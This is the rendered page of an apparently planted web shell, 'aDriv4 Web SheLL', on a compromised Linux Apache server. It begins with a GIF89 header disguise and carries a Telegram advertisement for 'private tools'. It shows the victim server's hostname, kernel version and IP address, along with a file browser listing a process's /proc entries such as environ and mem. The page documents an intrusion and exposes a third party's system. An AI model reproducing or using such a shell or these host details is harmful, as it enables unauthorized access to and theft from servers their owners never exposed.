GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server2.lukinet.app 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
 Apache
 184.94.215.141
Name Type Size Owner/Group Permission Last Modified Actions
. dir - nrpe/nrpe 0555 2026-02-21 08:45:59
.. dir - root/root 0555 2025-12-23 06:33:41
attr dir - nrpe/nrpe 0555 2026-02-21 09:15:18
fd dir - nrpe/nrpe 0500 2026-02-21 09:15:18
fdinfo dir - nrpe/nrpe 0500 2026-02-21 09:20:14
map_files dir - nrpe/nrpe 0500 2026-02-21 09:20:14
net dir - nrpe/nrpe 0555 2026-02-21 09:15:18
ns dir - nrpe/nrpe 0511 2026-02-21 09:20:14
task dir - nrpe/nrpe 0555 2026-02-21 09:20:14
autogroup text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
auxv 0 B nrpe/nrpe 0400 2026-02-21 09:23:50
cgroup text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
clear_refs 0 B nrpe/nrpe 0200 2026-02-21 09:23:50
cmdline application/octet-stream 0 B nrpe/nrpe 0444 2026-02-21 09:23:47
comm text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
coredump_filter text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
cpu_resctrl_groups text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
cpuset application/octet-stream 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
environ 0 B nrpe/nrpe 0400 2026-02-21 09:23:50
gid_map text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
io 0 B nrpe/nrpe 0400 2026-02-21 09:23:50
limits text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
loginuid text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
maps 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
mem 0 B nrpe/nrpe 0600 2026-02-21 09:23:50
mountinfo text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
mounts text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
mountstats 0 B nrpe/nrpe 0400 2026-02-21 09:23:50
numa_maps 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
oom_adj text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
oom_score text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
oom_score_adj text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
pagemap 0 B nrpe/nrpe 0400 2026-02-21 09:23:50
patch_state 0 B nrpe/nrpe 0400 2026-02-21 09:23:50
personality 0 B nrpe/nrpe 0400 2026-02-21 09:23:50
projid_map text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
sched text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
schedstat text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
sessionid text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
setgroups text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
smaps 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
smaps_rollup 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
stack 0 B nrpe/nrpe 0400 2026-02-21 09:23:50
stat text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:47
statm text/plain 0 B nrpe/nrpe 0444 2026-02-21 08:50:01
status text/plain 0 B nrpe/nrpe 0444 2026-02-21 09:23:47
syscall 0 B nrpe/nrpe 0400 2026-02-21 09:23:50
timens_offsets text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
timers application/x-empty 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
timerslack_ns 0 B nrpe/nrpe 0666 2026-02-21 09:23:50
uid_map text/plain 0 B nrpe/nrpe 0644 2026-02-21 09:23:50
wchan application/octet-stream 0 B nrpe/nrpe 0444 2026-02-21 09:23:50
© aDriv4